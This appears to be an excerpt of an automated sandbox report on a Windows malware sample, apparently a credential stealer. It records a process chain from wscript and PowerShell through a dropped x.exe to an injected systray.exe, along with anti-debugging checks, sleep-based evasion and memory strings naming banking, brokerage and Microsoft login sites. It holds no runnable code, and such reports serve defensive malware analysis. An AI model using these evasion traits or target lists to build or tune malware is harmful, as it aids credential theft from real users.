Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\systray.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 1E10000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 1BE50000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3414	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2356	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Window / User API: threadDelayed 459	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Window / User API: threadDelayed 9513	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\systray.exe	API coverage: 3.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6536	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6784	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 6600	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 2352	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe TID: 4052	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe TID: 5560	Thread sleep count: 459 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe TID: 5560	Thread sleep time: -918000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe TID: 5560	Thread sleep count: 9513 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe TID: 5560	Thread sleep time: -19026000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\systray.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\systray.exe	Last function: Thread delayed

Source: at8-FI0k.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: at8-FI0k.9.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: at8-FI0k.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: at8-FI0k.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: at8-FI0k.9.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: at8-FI0k.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: wscript.exe, 00000000.00000003.2236811410.0000019EA7BEF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2239947092.0000019EA9DC2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2238574754.0000019EA7BEF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2235955514.0000019EA7BEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: at8-FI0k.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: at8-FI0k.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: at8-FI0k.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: at8-FI0k.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: at8-FI0k.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: at8-FI0k.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: at8-FI0k.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: at8-FI0k.9.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: at8-FI0k.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: x.exe, 00000004.00000002.2208489039.000000000166B000.00000004.00000020.00020000.00000000.sdmp, HDIZeRcLxXsNvd.exe, 00000008.00000002.3362913628.0000000001419000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000009.00000002.3362471676.00000000030C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: at8-FI0k.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: at8-FI0k.9.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: at8-FI0k.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: at8-FI0k.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: at8-FI0k.9.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: at8-FI0k.9.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: at8-FI0k.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: at8-FI0k.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: at8-FI0k.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: at8-FI0k.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: at8-FI0k.9.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: at8-FI0k.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: at8-FI0k.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: at8-FI0k.9.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: at8-FI0k.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: at8-FI0k.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: firefox.exe, 0000000A.00000002.2965937171.00000231554DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll@@

Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process queried: DebugPort			Jump to behavior